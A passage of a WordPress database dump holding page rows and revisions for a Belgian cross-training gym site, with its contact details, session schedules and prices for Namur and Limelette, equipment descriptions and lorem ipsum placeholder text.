ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:11:16', '2013-05-23 18:11:16', '', 5, 'http://www.crosstrainingcenter.be/?p=8', 0, 'revision', '', 0),
(9, 1, '2013-05-23 18:13:57', '2013-05-23 18:13:57', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'publish', 'closed', 'open', '', 'contact', '', '', '2015-04-21 09:07:44', '2015-04-21 09:07:44', '', 0, 'http://www.crosstrainingcenter.be/?page_id=9', 0, 'page', '', 0),
(10, 1, '2013-05-23 18:13:13', '2013-05-23 18:13:13', '', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-23 18:13:13', '2013-05-23 18:13:13', '', 9, 'http://www.crosstrainingcenter.be/?p=10', 0, 'revision', '', 0),
(11, 1, '2013-05-23 18:14:55', '2013-05-23 18:14:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'publish', 'closed', 'open', '', 'les-seances', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 0, 'http://www.crosstrainingcenter.be/?page_id=11', 0, 'page', '', 0),
(366, 1, '2013-11-04 17:23:16', '2013-11-04 17:23:16', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:23:16', '2013-11-04 17:23:16', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(360, 1, '2013-11-04 17:19:48', '2013-11-04 17:19:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; usemap=\&quot;#imagemap\&quot; /&gt;\r\n\r\n                        &lt;map name=\&quot;imagemap\&quot; id=\&quot;Map\&quot;&gt; \r\n                        &lt;area shape=\&quot;namur\&quot; coords=\&quot;90,84,166,108\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; \r\n                        &lt;area shape=\&quot;limelette\&quot; coords=\&quot;174,121,233,132\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot; /&gt; \r\n                        &lt;/map&gt; \r\n', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:19:48', '2013-11-04 17:19:48', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(361, 1, '2013-11-04 17:20:34', '2013-11-04 17:20:34', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'publish', 'closed', 'open', '', 'les-seances-limelette', '', '', '2014-02-09 20:41:07', '2014-02-09 20:41:07', '', 0, 'http://www.crosstrainingcenter.be/?page_id=361', 0, 'page', '', 0),
(12, 1, '2013-05-23 18:14:43', '2013-05-23 18:14:43', '', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 18:14:43', '2013-05-23 18:14:43', '', 11, 'http://www.crosstrainingcenter.be/?p=12', 0, 'revision', '', 0),
(39, 1, '2013-06-13 16:23:30', '2013-06-13 16:23:30', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX Suspension Training &lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Kettlebel&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;ViPR&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP TRAINER&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-13 16:23:30', '2013-06-13 16:23:30', '', 22, 'http://www.crosstrainingcenter.be/?p=39', 0, 'revision', '', 0),
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(17, 1, '2013-05-23 18:13:57', '2013-05-23 18:13:57', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nblablabla', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-23 18:13:57', '2013-05-23 18:13:57', '', 9, 'http://www.crosstrainingcenter.be/?p=17', 0, 'revision', '', 0);
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(18, 1, '2013-05-23 18:14:55', '2013-05-23 18:14:55', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales 